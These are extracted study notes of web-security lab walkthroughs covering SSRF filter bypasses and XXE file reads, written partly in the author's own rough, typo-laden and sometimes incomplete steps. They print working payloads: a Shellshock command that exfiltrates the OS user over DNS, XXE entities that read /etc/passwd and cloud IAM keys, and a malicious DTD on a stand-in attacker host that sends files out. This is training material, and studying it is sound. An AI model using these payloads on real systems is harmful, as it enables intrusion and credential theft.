Community Solution :-
108/164
SSRF - Lab #1 Basic SSRF against the local server _ Short Version.mp4
solve lab : -
109/164
110/164
lab 2 basic ssrf against another back-end system
Why do applications behave in this way, and implicitly trust requests that come from the local machine? This can arise
for various reasons:
• The access control check might be implemented in a different component that sits in front of the application server. When a connection
is made back to the server itself, the check is bypassed.
• For disaster recovery purposes, the application might allow administrative access without logging in, to any user coming from the local
machine. This provides a way for an administrator to recover the system in the event they lose their credentials. The assumption here is
that only a fully trusted user would be coming directly from the server itself.
• The administrative interface might be listening on a different port number than the main application, and so might not be reachable
directly by users.
These kind of trust relationships, where requests originating from the local machine are handled differently than
ordinary requests, is often what makes SSRF into a critical vulnerability.
111/164
This lab has a stock check feature which fetches data from an internal system.
To solve the lab, use the stock check functionality to scan the internal 192.168.0.X range for an admin interface on
port 8080, then use it to delete the user carlos.
solution:-
1. Visit a product, click "Check stock", intercept the request in Burp Suite, and send it to Burp Intruder.
2. Click "Clear §", change the stockApi parameter to http://192.168.0.1:8080/admin then highlight the final octet of the IP address
(the number 1), click "Add §".
3. Switch to the Payloads tab, change the payload type to Numbers, and enter 1, 255, and 1 in the "From" and "To" and "Step" boxes
respectively.
4. Click "Start attack".
5. Click on the "Status" column to sort it by status code ascending. You should see a single entry with a status of 200, showing an admin
interface.
6. Click on this request, send it to Burp Repeater, and change the path in the stockApi to: /admin/delete?username=carlos
Community solution :-
How To Search For SSRF!.mp4
SSRF - Lab #2 Basic SSRF against another back-end system _ Short Version.mp4
lab solve :-
go to the lab now click any product now click on check stock
nwo you will see the post request
112/164
now send requst in repeater
add payload http://192.168.0.1:8080/admin
send request
now you will see the mising parameter
113/164
114/164
115/164
now you will see the admin ip address is http://192.168.0.255:8080/admin
now go to the repeater
add this http://192.168.0.255:8080/admin/delete?username=carlos
This lab has a stock check feature which fetches data from an internal system.
To solve the lab, change the stock check URL to access the admin interface at http://localhost/admin and
delete the user carlos.
The developer has deployed two weak anti-SSRF defenses that you will need to bypass
solution:-
1. Visit a product, click "Check stock", intercept the request in Burp Suite, and send it to Burp Repeater.
2. Change the URL in the stockApi parameter to http://127.0.0.1/ and observe that the request is blocked.
3. Bypass the block by changing the URL to: http://127.1/
4. Change the URL to http://127.1/admin and observe that the URL is blocked again.
5. Obfuscate the "a" by double-URL encoding it to %2561 to access the admin interface and delete the target user.
Community Solution:-
How To Circumvent SSRF Protection!.mp4
solve lab:-
open lab now click any product
now click on check stock
now go to the burpsuie http-history
now send post requst in repeater
now you wil see the stockapi parameter
now add the payload stockapi=http://127.0.0.1/admin
now you wil se the ip adderss is blocked
now go to the decoder option admin duble url encoded
now copy admin double encoded go to the repeater section
nwo add this send request
now delete carlos user
lab is solved :)
117/164
lab is solved :)
118/164
https://expected-host.evil-host
• You can URL-encode characters to confuse the URL-parsing code. This is particularly useful if the code that implements the filter handles
URL-encoded characters differently than the code that performs the back-end HTTP request.
• You can use combinations of these techniques together.
This lab has a stock check feature which fetches data from an internal system.
To solve the lab, change the stock check URL to access the admin interface at http://localhost/admin and
delete the user carlos.
The developer has deployed an anti-SSRF defense you will need to bypass
Solution:-
1. Visit a product, click "Check stock", intercept the request in Burp Suite, and send it to Burp Repeater.
2. Change the URL in the stockApi parameter to http://127.0.0.1/ and observe that the application is parsing the URL, extracting the
hostname, and validating it against a whitelist.
3. Change the URL to http://username@stock.weliketoshop.net/ and observe that this is accepted, indicating that the URL parser
supports embedded credentials.
4. Append a # to the username and observe that the URL is now rejected.
5. Double-URL encode the # to %2523 and observe the extremely suspicious "Internal Server Error" response, indicating that the server
may have attempted to connect to "username".
6. To access the admin interface and delete the target user, change the URL to:
http://localhost:80%2523@stock.weliketoshop.net/admin/delete?username=carlos
Community Solution:-
SSRF - Lab #4 SSRF with whitelist-based input filter _ Short Version.mp4
lab solve:-
open lab now click on any product
now click on check stock
now send post request in repeater
now add the pyalod http://127.0.0.1
119/164
now you will see external stock check host must be stock. weliketoshop.net
now again add this payload http://username@stock.weliketoshop.net
120/164
now you will see external stock check that must be stock.weliketoshop.net
now encode # and try again
now you wil see :- invalid external stock check url "Malforned escape pair at index is : http://username%stock.weliketoshop.net
now finely add the payload to delete carlos user
http://localhost:80%2523@stock.weliketoshop.net/admin/delete?username=carlos
121/164
now you will se lab is solved :)
This SSRF exploit works because the application first validates that the supplied stockAPI URL is on an allowed
domain, which it is. The application then requests the supplied URL, which triggers the open redirection. It follows the
redirection, and makes a request to the internal URL of the attacker's choosing
This lab has a stock check feature which fetches data from an internal system.
To solve the lab, change the stock check URL to access the admin interface at http://192.168.0.12:8080/admin
and delete the user carlos.
The stock checker has been restricted to only access the local application, so you will need to find an open redirect
122/164
affecting the application first.
Solution:-
1. Visit a product, click "Check stock", intercept the request in Burp Suite, and send it to Burp Repeater.
2. Try tampering with the stockApi parameter and observe that it isn't possible to make the server issue the request directly to a
different host.
3. Click "next product" and observe that the path parameter is placed into the Location header of a redirection response, resulting in an
open redirection.
4. Create a URL that exploits the open redirection vulnerability, and redirects to the admin interface, and feed this into the stockApi
parameter on the stock checker:
/product/nextProduct?path=http://192.168.0.12:8080/admin
5. Observe that the stock checker follows the redirection and shows you the admin page.
6. Amend the path to delete the target user:
/product/nextProduct?path=http://192.168.0.12:8080/admin/delete?username=carlos
Community Solution:-
SSRF - Lab #5 SSRF with filter bypass via open redirection vulnerability _ Short Version.mp4
SSRF with filter bypass via open redirection vulnerability (Video solution).mp4
lab solve:-
open lab click on any product now click on check stock
now send request in repeater
now click on next product caputure the request now you will see the open redirection vulnerability
123/164
now copy the path and go to the repeater and change the payload
/product/nextProduct?path=http://192.168.0.12:8080/admin
124/164
now you will see lab is solved :)
Note
It is common when testing for SSRF vulnerabilities to observe a DNS look-up for the supplied Collaborator domain, but no subsequent
HTTP request. This typically happens because the application attempted to make an HTTP request to the domain, which caused the initial
DNS lookup, but the actual HTTP request was blocked by network-level filtering. It is relatively common for infrastructure to allow
outbound DNS traffic, since this is needed for so many purposes, but block HTTP connections to unexpected destinations
125/164
lab 6 blind ssrf with out-of-band detection
Simply identifying a blind SSRF vulnerability that can trigger out-of-band HTTP requests doesn't in itself provide a route
to exploitability. Since you cannot view the response from the back-end request, the behavior can't be used to
explore content on systems that the application server can reach. However, it can still be leveraged to probe for
other vulnerabilities on the server itself or on other back-end systems. You can blindly sweep the internal IP address
space, sending payloads designed to detect well-known vulnerabilities. If those payloads also employ blind out-of-
band techniques, then you might uncover a critical vulnerability on an unpatched internal server.
This site uses analytics software which fetches the URL specified in the Referer header when a product page is
loaded.
To solve the lab, use this functionality to cause an HTTP request to the public Burp Collaborator server.
Note
To prevent the Academy platform being used to attack third parties, our firewall blocks interactions between the labs and arbitrary external
systems. To solve the lab, you must use Burp Collaborator's default public server
solution:-
1. In Burp Suite Professional, go to the Burp menu and launch the Burp Collaborator client.
2. Click "Copy to clipboard" to copy a unique Burp Collaborator payload to your clipboard. Leave the Burp Collaborator client window open.
3. Visit a product, intercept the request in Burp Suite, and send it to Burp Repeater.
4. Change the Referer header to use the generated Burp Collaborator domain in place of the original domain. Send the request.
5. Go back to the Burp Collaborator client window, and click "Poll now". If you don't see any interactions listed, wait a few seconds and try
again, since the server-side command is executed asynchronously.
6. You should see some DNS and HTTP interactions that were initiated by the application as the result of your payload.
Community Solution:-
SSRF - Lab #6 Blind SSRF with out-of-band detection _ Short Version.mp4
lab solve:-
open lab
now go to the burpsuite
click on burp now click on burp Collaborator client now copy to clipboard now
go to the browser click on any product
now send request in burpsuite now send request in repeater
nwo remove referer url and paste burp collaborator domain
now send request
now go to the burp collaborator client windows
click on poll now to you will see the dns
lab is solved :)
126/164
lab 7 blind ssrf with shellshock exploitation
Another avenue for exploiting blind SSRF vulnerabilities is to induce the application to connect to a system under the
attacker's control, and return malicious responses to the HTTP client that makes the connection. If you can exploit a
serious client-side vulnerability in the server's HTTP implementation, you might be able to achieve remote code
execution within the application infrastructure
This site uses analytics software which fetches the URL specified in the Referer header when a product page is
loaded.
To solve the lab, use this functionality to perform a blind SSRF attack against an internal server in the 192.168.0.X
range on port 8080. In the blind attack, use a Shellshock payload against the internal server to exfiltrate the name
of the OS user.
Note
To prevent the Academy platform being used to attack third parties, our firewall blocks interactions between the labs and arbitrary external
systems. To solve the lab, you must use Burp Collaborator's default public server
solution:-
1. In Burp Suite Professional, install the "Collaborator Everywhere" extension from the BApp Store.
2. Add the domain of the lab to Burp Suite's target scope, so that Collaborator Everywhere will target it.
3. Browse the site.
4. Observe that when you load a product page, it triggers an HTTP interaction with Burp Collaborator, via the Referer header.
5. Observe that the HTTP interaction contains your User-Agent string within the HTTP request.
6. Send the request to the product page to Burp Intruder.
7. Use Burp Collaborator client to generate a unique Burp Collaborator payload, and place this into the following Shellshock payload:
() { :; }; /usr/bin/nslookup $(whoami).BURP-COLLABORATOR-SUBDOMAIN
8. Replace the User-Agent string in the Burp Intruder request with the Shellshock payload containing your Collaborator domain.
9. Click "Clear §", change the Referer header to http://192.168.0.1:8080 then highlight the final octet of the IP address (the number
127/164
1), click "Add §".
10. Switch to the Payloads tab, change the payload type to Numbers, and enter 1, 255, and 1 in the "From" and "To" and "Step" boxes
respectively.
11. Click "Start attack".
12. When the attack is finished, go back to the Burp Collaborator client window, and click "Poll now". If you don't see any interactions
listed, wait a few seconds and try again, since the server-side command is executed asynchronously. You should see a DNS interaction
that was initiated by the back-end system that was hit by the successful blind SSRF attack. The name of the OS user should appear within
the DNS subdomain.
13. To complete the lab, enter the name of the OS user.
Community Solution:-
SSRF - Lab #7 Blind SSRF with Shellshock exploitation _ Short Version.mp4
solve lab :-
open lab now go to the extender
now click on bapp store now install collaborator everywhere
128/164
now go to the target right click to add url in scope
now go to the browser
choose any product now click back
now again click any product now click back
now you will see the issues
now intercept on
click any product
send request in intruder
129/164
now remove user-agent: data then add the payload
() { :; }; /usr/bin/nslookup $(whoami).BURP-COLLABORATOR-SUBDOMAIN
now remove referer: data then add payload
http://192.168.0.1:8080
130/164
now click on payload option
now modify this
131/164
now you will see the burp collaborator windows lab is solved :)
132/164
Labs
If you're already familiar with the basic concepts behind XXE vulnerabilities and just want to practice exploiting them on some realistic,
deliberately vulnerable targets, you can access all of the labs in this topic from the link below.
View all XXE labs
Read more
Learn about the XML format, DTDs, and external entities
XML external entities are a type of custom XML entity whose defined values are loaded from outside of the DTD in
which they are declared. External entities are particularly interesting from a security perspective because they allow
an entity to be defined based on the contents of a file path or URL.
XML entities
In this section, we'll explain some key features of XML that are relevant to understanding XXE vulnerabilities.
What is XML?
XML stands for "extensible markup language". XML is a language designed for storing and transporting data. Like
HTML, XML uses a tree-like structure of tags and data. Unlike HTML, XML does not use predefined tags, and so tags
can be given names that describe the data. Earlier in the web's history, XML was in vogue as a data transport format
(the "X" in "AJAX" stands for "XML"). But its popularity has now declined in favor of the JSON format.
133/164
What is document type definition?
The XML document type definition (DTD) contains declarations that can define the structure of an XML document, the
types of data values it can contain, and other items. The DTD is declared within the optional DOCTYPE element at the
start of the XML document. The DTD can be fully self-contained within the document itself (known as an "internal
DTD") or can be loaded from elsewhere (known as an "external DTD") or can be hybrid of the two.
For example, suppose a shopping application checks for the stock level of a product by submitting the following XML
to the server:
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck><productId>381</productId></stockCheck>
The application performs no particular defenses against XXE attacks, so you can exploit the XXE vulnerability to
retrieve the /etc/passwd file by submitting the following XXE payload:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>&xxe;</productId></stockCheck>
This XXE payload defines an external entity &xxe; whose value is the contents of the /etc/passwd file and uses the
entity within the productId value. This causes the application's response to include the contents of the file:
Invalid product ID: root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin...
Note
With real-world XXE vulnerabilities, there will often be a large number of data values within the submitted XML, any one of which might
134/164
be used within the application's response. To test systematically for XXE vulnerabilities, you will generally need to test each data node in
the XML individually, by making use of your defined entity and seeing whether it appears within the response.
This lab has a "Check stock" feature that parses XML input and returns any unexpected values in the response.
To solve the lab, inject an XML external entity to retrieve the contents of the /etc/passwd file.
Solution:-
1. Visit a product page, click "Check stock", and intercept the resulting POST request in Burp Suite.
2. Insert the following external entity definition in between the XML declaration and the stockCheck element:
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
3. Replace the productId number with a reference to the external entity: &xxe;. The response should contain "Invalid product ID:"
followed by the contents of the /etc/passwd file.
Community Solution:-
XXE Lab Breakdown_ Exploiting XXE using external entities to retrieve files.mp4
solve lab :-
open lab
now click on any product
now click on check stock
now go to the burpsuite now you will see the post request
135/164
now you will see the vulnerable xml entities
now send request in burpsuite
now add the payload
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
now send request now you will see the result
lab is solved :)
This lab has a "Check stock" feature that parses XML input and returns any unexpected values in the response.
The lab server is running a (simulated) EC2 metadata endpoint at the default URL, which is http://
169.254.169.254/. This endpoint can be used to retrieve data about the instance, some of which might be
sensitive.
To solve the lab, exploit the XXE vulnerability to perform an SSRF attack that obtains the server's IAM secret access
key from the EC2 metadata endpoint
Solution:-
1. Visit a product page, click "Check stock", and intercept the resulting POST request in Burp Suite.
2. Insert the following external entity definition in between the XML declaration and the stockCheck element:
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "http://169.254.169.254/"> ]>
3. Replace the productId number with a reference to the external entity: &xxe;. The response should contain "Invalid product ID:"
followed by the response from the metadata endpoint, which will initially be a folder name.
4. Iteratively update the URL in the DTD to explore the API until you reach /latest/meta-data/iam/security-credentials/admin.
This should return JSON containing the SecretAccessKey
Community Solution:-
XXE Lab Breakdown_ Exploiting XXE to perform SSRF attacks.mp4
solve lab :-
open lab now choose any product
click on stock check now go to the burpsuite http-history request
now you will see the post request
137/164
now send request in repeater
now add the payload
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "http://169.254.169.254/"> ]>
now add product id &xxe;
now send request
now you will see the result
138/164
nwo you will see the again meta-data directory found
add the payload nwo again send the request
139/164
now you will see the iam directory found
add the payload again send request
140/164
now finely you will see the admin directory
add the payload again send request
141/164
Finding hidden attack surface for XXE injection
Attack surface for XXE injection vulnerabilities is obvious in many cases, because the application's normal HTTP traffic
includes requests that contain data in XML format. In other cases, the attack surface is less visible. However, if you
look in the right places, you will find XXE attack surface in requests that do not contain any XML.
XInclude attacks
Some applications receive client-submitted data, embed it on the server-side into an XML document, and then parse
the document. An example of this occurs when client-submitted data is placed into a back-end SOAP request, which
is then processed by the backend SOAP service.
In this situation, you cannot carry out a classic XXE attack, because you don't control the entire XML document and
so cannot define or modify a DOCTYPE element. However, you might be able to use XInclude instead. XInclude is a
part of the XML specification that allows an XML document to be built from sub-documents. You can place an
XInclude attack within any data value in an XML document, so the attack can be performed in situations where you
only control a single item of data that is placed into a server-side XML document.
To perform an XInclude attack, you need to reference the XInclude namespace and provide the path to the file
that you wish to include. For example:
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>
This lab has a "Check stock" feature that embeds the user input inside a server-side XML document that is
subsequently parsed.
Because you don't control the entire XML document you can't define a DTD to launch a classic XXE attack.
To solve the lab, inject an XInclude statement to retrieve the contents of the /etc/passwd file
hint :-
By default, XInclude will try to parse the included document as XML. Since /etc/passwd isn't valid XML, you will need to
add an extra attribute to the XInclude directive to change this behavior.
Solution:-
1. Visit a product page, click "Check stock", and intercept the resulting POST request in Burp Suite.
2. Set the value of the productId parameter to:
Community Solution :-
XXE Lab Breakdown_ Exploiting XInclude to retrieve files.mp4
lab solve:-
open lab click on any product
now click on check stock now go to the burpsuite now you will see the result
142/164
now send request in burpsuite
now add the payload in product id
<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>
now you will see the result
lab is solved :)
143/164
that is being used might support SVG images. Since the SVG format uses XML, an attacker can submit a malicious
SVG image and so reach hidden attack surface for XXE vulnerabilities
This lab lets users attach avatars to comments and uses the Apache Batik library to process avatar image files.
To solve the lab, upload an image that displays the contents of the /etc/hostname file after processing. Then use
the "Submit solution" button to submit the value of the server hostname.
hint :-
The SVG image format uses XML
Solution:-
1. Create a local SVG image with the following content:
<?xml version="1.0" standalone="yes"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]><svg
width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"
version="1.1"><text font-size="16" x="0" y="16">&xxe;</text></svg>
2. Post a comment on a blog post, and upload this image as an avatar.
3. When you view your comment, you should see the contents of the /etc/hostname file in your image. Use the "Submit solution" button
to submit the value of the server hostname.
Community Solution :-
XXE Lab Breakdown_ Exploiting XXE via image file upload.mp4
solve lab :-
open lab now click on any product
now you will see the result
144/164
send request in burpsuite
now open notepad add the payload
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
<text font-size="16" x="0" y="16">&xxe;</text>
</svg>
now save in .svg format
now you will see the view page source in bolgpost .png file
open it
145/164
146/164
now you will see the secret message
copy message submit solution
lab is solved :)
Note
Keep in mind that XML is just a data transfer format. Make sure you also test any XML-based functionality for other vulnerabilities like XSS
and SQL injection. You may need to encode your payload using XML escape sequences to avoid breaking the syntax, but you may also be
able to use this to obfuscate your attack in order to bypass weak defences.
This lab has a "Check stock" feature that parses XML input but does not display the result.
You can detect the blind XXE vulnerability by triggering out-of-band interactions with an external domain.
To solve the lab, use an external entity to make the XML parser issue a DNS lookup and HTTP request to Burp
Collaborator.
To prevent the Academy platform being used to attack third parties, our firewall blocks interactions between the labs and arbitrary external
systems. To solve the lab, you must use Burp Collaborator's default public server.\
Solution:-
1. Visit a product page, click "Check stock" and intercept the resulting POST request in Burp Suite Professional.
2. Go to the Burp menu, and launch the Burp Collaborator client.
3. Click "Copy to clipboard" to copy a unique Burp Collaborator payload to your clipboard. Leave the Burp Collaborator client window open.
4. Insert the following external entity definition in between the XML declaration and the stockCheck element, but insert your Burp
Collaborator subdomain where indicated:
<!DOCTYPE stockCheck [ <!ENTITY xxe SYSTEM "http://BURP-COLLABORATOR-SUBDOMAIN"> ]>
148/164
5. Replace the productId number with a reference to the external entity:
&xxe;
6. Go back to the Burp Collaborator client window, and click "Poll now". If you don't see any interactions listed, wait a few seconds and try
again. You should see some DNS and HTTP interactions that were initiated by the application as the result of your payload.
Community Solution:-
XXE Lab Breakdown_ Blind XXE with out-of-band interaction.mp4
lab solve:-
open lab click on any product
now go to the bupsuite http-history now you wil see the result
149/164
lab is solved :)
Sometimes, XXE attacks using regular entities are blocked, due to some input validation by the application or some
hardening of the XML parser that is being used. In this situation, you might be able to use XML parameter entities
instead. XML parameter entities are a special kind of XML entity which can only be referenced elsewhere within the
DTD. For present purposes, you only need to know two things. First, the declaration of an XML parameter entity
includes the percent character before the entity name:
<!ENTITY % myparameterentity "my parameter entity value" >
And second, parameter entities are referenced using the percent character instead of the usual ampersand:
%myparameterentity;
This means that you can test for blind XXE using out-of-band detection via XML parameter entities as follows:
<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://f2g9j7hhkax.web-attacker.com"> %xxe; ]>
This XXE payload declares an XML parameter entity called xxe and then uses the entity within the DTD. This will
cause a DNS lookup and HTTP request to the attacker's domain, verifying that the attack was successful.
This lab has a "Check stock" feature that parses XML input, but does not display any unexpected values, and blocks
requests containing regular external entities.
To solve the lab, use a parameter entity to make the XML parser issue a DNS lookup and HTTP request to Burp
Collaborator.
Note
To prevent the Academy platform being used to attack third parties, our firewall blocks interactions between the labs and arbitrary external
systems. To solve the lab, you must use Burp Collaborator's default public server.
Solution:-
1. Visit a product page, click "Check stock" and intercept the resulting POST request in Burp Suite Professional.
2. Go to the Burp menu, and launch the Burp Collaborator client.
150/164
3. Click "Copy to clipboard" to copy a unique Burp Collaborator payload to your clipboard. Leave the Burp Collaborator client window open.
4. Insert the following external entity definition in between the XML declaration and the stockCheck element, but insert your Burp
Collaborator subdomain where indicated:
<!DOCTYPE stockCheck [<!ENTITY % xxe SYSTEM "http://BURP-COLLABORATOR-SUBDOMAIN"> %xxe; ]>
5. Go back to the Burp Collaborator client window, and click "Poll now". If you don't see any interactions listed, wait a few seconds and try
again. You should see some DNS and HTTP interactions that were initiated by the application as the result of your payload.
Community Solution :-
XXE Lab Breakdown_ Blind XXE with out-of-band interaction via XML parameter entities.mp4
Blind XXE with out-of-band interaction via XML parameter entities (Video solution).mp4
solve lab :-
151/164
lab is solved :)
The attacker must then host the malicious DTD on a system that they control, normally by loading it onto their own
webserver. For example, the attacker might serve the malicious DTD at the following URL:
http://web-attacker.com/malicious.dtd
Finally, the attacker must submit the following XXE payload to the vulnerable application:
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM
"http://web-attacker.com/malicious.dtd"> %xxe;]>
This XXE payload declares an XML parameter entity called xxe and then uses the entity within the DTD. This will
cause the XML parser to fetch the external DTD from the attacker's server and interpret it inline. The steps defined
152/164
within the malicious DTD are then executed, and the /etc/passwd file is transmitted to the attacker's server.
Note
This technique might not work with some file contents, including the newline characters contained in the /etc/passwd file. This is
because some XML parsers fetch the URL in the external entity definition using an API that validates the characters that are allowed to
appear within the URL. In this situation, it might be possible to use the FTP protocol instead of HTTP. Sometimes, it will not be possible to
exfiltrate data containing newline characters, and so a file such as /etc/hostname can be targeted instead.
This lab has a "Check stock" feature that parses XML input but does not display the result.
To solve the lab, exfiltrate the contents of the /etc/hostname file.
Note
To prevent the Academy platform being used to attack third parties, our firewall blocks interactions between the labs and arbitrary external
systems. To solve the lab, you must use the provided exploit server and/or Burp Collaborator's default public server.
Solution :-
1. Using Burp Suite Professional, go to the Burp menu, and launch the Burp Collaborator client.
2. Click "Copy to clipboard" to copy a unique Burp Collaborator payload to your clipboard. Leave the Burp Collaborator client window open.
3. Place the Burp Collaborator payload into a malicious DTD file:
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://BURP-COLLABORATOR-SUBDOMAIN/?x=%file;'>">
%eval;
%exfil;
4. Click "Go to exploit server" and save the malicious DTD file on your server. Click "View exploit" and take a note of the URL.
5. You need to exploit the stock checker feature by adding a parameter entity referring to the malicious DTD. First, visit a product page,
click "Check stock", and intercept the resulting POST request in Burp Suite.
6. Insert the following external entity definition in between the XML declaration and the stockCheck element:
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "YOUR-DTD-URL"> %xxe;]>
7. Go back to the Burp Collaborator client window, and click "Poll now". If you don't see any interactions listed, wait a few seconds and try
again.
8. You should see some DNS and HTTP interactions that were initiated by the application as the result of your payload. The HTTP
interaction could contain the contents of the /etc/hostname file.
Community Solution :-
Exploiting blind XXE to exfiltrate data using a malicious external DTD (Video solution).mp4
XXE Lab Breakdown_ Exploiting blind XXE to exfiltrate data using a malicious external DTD.mp4
solve lab :-
open lab now click on any product
now click on check stock
now you will see the result
153/164
now go to the exploit server
now you will see the result
154/164
now open burp collaborator client window
click on copy to clipboard
now add the payload
155/164
now click on store
now click on view exploit
156/164
now you will see the result
157/164
now you will see the flag
lab is solved :)
Invoking the malicious external DTD will result in an error message like the following:
java.io.FileNotFoundException: /nonexistent/root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin...
158/164
This lab has a "Check stock" feature that parses XML input but does not display the result.
To solve the lab, use an external DTD to trigger an error message that displays the contents of the /etc/passwd file.
The lab contains a link to an exploit server on a different domain where you can host your malicious DTD.
Solution:-
1. Click "Go to exploit server" and save the following malicious DTD file on your server:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'file:///invalid/%file;'>">
%eval;
%exfil;
When imported, this page will read the contents of /etc/passwd into the file entity, and then try to use that entity in a file path.
2. Click "View exploit" and take a note of the URL for your malicious DTD.
3. You need to exploit the stock checker feature by adding a parameter entity referring to the malicious DTD. First, visit a product page,
click "Check stock", and intercept the resulting POST request in Burp Suite.
4. Insert the following external entity definition in between the XML declaration and the stockCheck element:
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "YOUR-DTD-URL"> %xxe;]>
You should see an error message containing the contents of the /etc/passwd file.
XXE Lab Breakdown_ Exploiting blind XXE to retrieve data via error messages.mp4
Exploiting blind XXE to retrieve data via error messages (Video solution).mp4
solve lab :-
159/164
160/164
lab is solved :)
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
<!ENTITY % custom_entity ' <!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
161/164
%eval;
%error;
'>
%local_dtd;
]>
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
%local_dtd;
]>
After you have tested a list of common DTD files to locate a file that is present, you then need to obtain a copy of the
file and review it to find an entity that you can redefine. Since many common systems that include DTD files are open
source, you can normally quickly obtain a copy of files through internet search.
This lab has a "Check stock" feature that parses XML input but does not display the result.
To solve the lab, trigger an error message containing the contents of the file.
You'll need to reference an existing DTD file on the server and redefine an entity from it.
Hint
Systems using the GNOME desktop environment often have a DTD at /usr/share/yelp/dtd/docbookx.dtd containing an entity called
ISOamso.
1. Visit a product page, click "Check stock", and intercept the resulting POST request in Burp Suite.
2. Insert the following parameter entity definition in between the XML declaration and the stockCheck element:
<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso ' <!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
'> %local_dtd;
]>
This will import the Yelp DTD, then redefine the ISOamso entity, triggering an error message containing the contents of
the /etc/passwd file.
162/164
163/164
lab is solved :)
164/164